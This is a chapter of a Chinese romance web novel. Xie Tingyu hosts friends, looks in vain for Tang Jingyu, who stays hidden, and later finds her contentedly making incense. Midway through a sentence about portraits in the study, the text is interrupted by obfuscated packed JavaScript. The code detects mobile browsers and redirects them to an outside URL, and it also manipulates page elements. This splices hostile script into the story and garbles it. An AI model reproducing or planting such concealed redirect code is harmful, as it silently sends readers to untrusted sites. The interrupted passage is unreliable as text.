数日后。 拢翠馆后院。 初冬里难得一个如此晴朗的天气。 明亮的阳光透过交错纵横的松萝藤架,簌簌落在铺着软垫的罗汉床上。 罗汉床后架着一座松柏山水大画屏,既是风雅,也是为了挡住身后的阵阵寒风。 棠惊雨半倚着凭几,双腿盖一件银狐斗篷,手里翻一本市井话本。 此刻风和日暖,谢庭钰面朝着棠惊雨,坐在罗汉床一旁的紫檀木圈椅上,状似随意地说道:“明日,我要在府里宴请几位好友,宴席就设在浮荫山庄的旷月堂。” 棠惊雨不知他此话何意,目光从书页中缓缓抬起,轻轻落在他的身上。 谢:“若是被他们发现你在府里,我大约会被笑话一番,不得不承认你的身份,日后还得带你出去见人。哎,烦人得很。” 棠:“哦。” 谢:“你明白吗?” 棠点头:“明白。” 谢庭钰瞧着一脸平静低头继续看书的棠惊雨,起身坐到床沿,又问:“你真的明白?” 她的目光落在书页上,风轻云淡地说:“再明白不过。” 第二天。 柳世宗、姜子良和赵英祯,各自携上家眷,应邀前来谢府赴宴。 一众人在旷月堂欢欢喜喜地赏景、吃宴。 谢庭钰时不时看向通往浮荫山庄的石道,始终没有看到期盼着能出现的人。 他饮下一杯闷酒。 果然要她自觉简直难如登天,不若他亲自去“抓”她。 谢庭钰领着一众友人在府里游山玩水,从浮荫山庄后的石潭,一路赏玩到拢翠馆。 半点棠惊雨的影子都没有瞧见。 谢庭钰的脸色有点不好,靠在湘妃竹帘前,不自觉地将目光落在不远处的冷山燕身上,对方正在同其余几位夫人笑谈。 东厢的书房里挂着一些不露脸的美人图:或坐、或卧、或伫立远眺、或 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15451634|164754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 剪枝插瓶、或戏水石潭…… 柳世宗正想回头调侃谢庭钰一句“思春男儿郎”,转头一看又见对方的视线落在自家夫人身上,心中登时浮起不满。 柳世宗走到他面前挡住他的视线,不大好气地问:“这么多幅美人图,画的都是谁啊?” 谢庭钰平淡地挪开目光,平淡地回答:“既是美人图,画的自然是美人。” 他的表情太过正常,柳世宗再次疑心是自己看错了,走到一旁,故意试探道:“不会是你美丽的嫂子山燕吧?” 谢庭钰即刻乜眼瞧他:“自然不可能是我弟妹山燕了。” 柳世宗轻咳一声,确信刚才是自己疑心太重看岔了,随即轻松道:“既是美人总有个对照吧?是贾小姐或是宋小姐?” 谢皱眉:“当然不是。你这是把我当什么人了。” 柳:“那还能是谁?莫说这玉京,就说你这府里,哪来这样飘袅婀娜又跟你相好的美人儿?” 谢一脸疑惑地看向柳世宗,脱口而出:“没有吗?” 柳略感惊讶:“我说你是不是寡出问题,发癔症了?” 谢没好气地打掉柳世宗伸来探额头的手,看似无奈实则暗暗试探地说:“我就不能金屋藏娇了?” “藏哪儿?藏这儿啊?”柳好笑道,越发觉得好友问题不小,“你没事儿吧?就这么个连花瓶里插的都是松枝竹叶清幽到孤冷的地方,得多宽心的美人儿才能同意啊?” 谢十分无奈:“绝情无爱的美人咯。” 柳大笑,只当好友是在跟自己开玩笑。 与柳世宗这一番对话,才让司空见惯的谢庭钰醒悟过来:棠惊雨看似在谢府留下许多痕迹,实则在外人眼里,那些都不像是个娇藏女子会留下的痕迹。 她留下的东西,太幽太冷,不像世俗凡人,更像隐居山野的修行散仙。 谢庭钰送别一众友人后,已是黄昏时分。 他在岱泽楼的二楼茶室里寻到了棠惊雨。 茶室各处摆放的制香用具、各式香料和几本香谱,香案上放了数只熏香炉,室内氤氲着经久不散的合香。 她正在制香。悠闲自在。 制的香都是幽冷清冽的,仿佛簌雪旷野里的松柏林。 他放开棉毡帘,踱步进屋,心里沉着莫名的气,直言道:“小笼雀就是不一般。闷在方寸小屋一整日也不觉得难受。” 棠惊雨抽空抬眼,瞧见一张阴沉似水的脸,反而笑起来:“我多乖呀。大人叫我不要出门,我便好好待着。” 谢庭钰咬牙切齿:“我那是要你别出门吗?” 棠笑吟吟地说:“自然是呀。” 她当然是故意的。要她听话的时候,宁愿躲到墓地里也不回头,不要她听话的时候,又始终待在楼阁茶室里不现身。 见他不开心,她尤为开心。 幸灾乐祸。 谢坐到圈椅里,扬首又想说她两句,却看见正低头捣香丸的姑娘,侧着一张轻快含笑的脸,他当即一口气出不去又顺不下来地哽在胸口,简直是生气也不是,不生气也不是。 她罕有这么高兴的时候。 上一回,还是在秋衡山重逢时。 原想脱口而出的话语最终化为一声轻轻的叹息。 香屑浮沉,红炉暗燃。数盏明角灯火光煌煌。 佳人一笑,千金难买。再多苛责皆随风散去。 室外沉日飞雪,寒意不进绵毡帘。